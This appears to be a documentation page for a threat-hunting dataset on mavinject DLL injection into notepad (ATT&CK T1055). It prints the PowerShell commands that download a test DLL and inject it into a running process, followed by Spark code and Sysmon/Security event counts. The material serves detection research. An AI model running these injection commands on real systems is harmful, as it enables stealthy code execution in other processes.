Mavinject Process DLL Injection¶
Metadata¶
Author |
Roberto Rodriguez @Cyb3rWard0g |
Creation Date |
2020/10/19 |
Modification Date |
2020/10/19 |
Tactics |
|
Techniques |
[‘T1055’] |
Tags |
[‘art.74496461-11a1-4982-b439-4d87a550d254’] |
Dataset Description¶
This dataset represents adversaries leveraging
Datasets Downloads¶
Dataset Type |
Link |
---|---|
Host |
Simulation Plan¶
Environment |
Tool Type |
Module |
---|---|---|
Lab VM |
Manual |
Adversary View¶
PS C:\Users\wardog> Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055.dll" -OutFile C:\ProgramData\T1055.dll
PS C:\Users\wardog> $mypid = (Start-Process notepad -PassThru).id
PS C:\Users\wardog> mavinject $mypid /INJECTRUNNING C:\ProgramData\T1055.dll
Explore Mordor Dataset¶
Initialize Analytics Engine¶
from openhunt.mordorutils import *
spark = get_spark()
Download & Process Mordor File¶
mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/defense_evasion/host/psh_mavinject_dll_notepad.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")
[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable
Get to know your data¶
df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)
+------------+------------------------------------+-------+-----+
|Hostname |Channel |EventID|count|
+------------+------------------------------------+-------+-----+
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|10 |242 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|7 |100 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|12 |72 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|13 |37 |
|WORKSTATION5|Security |4658 |10 |
|WORKSTATION5|Security |5158 |8 |
|WORKSTATION5|Security |5156 |6 |
|WORKSTATION5|Security |4690 |5 |
|WORKSTATION5|Security |4656 |5 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|11 |4 |
|WORKSTATION5|Security |4663 |4 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|9 |3 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|3 |2 |
|WORKSTATION5|Security |4688 |2 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|1 |2 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|22 |2 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|24 |2 |
|WORKSTATION5|System |104 |1 |
|WORKSTATION5|Security |1102 |1 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|8 |1 |
+------------+------------------------------------+-------+-----+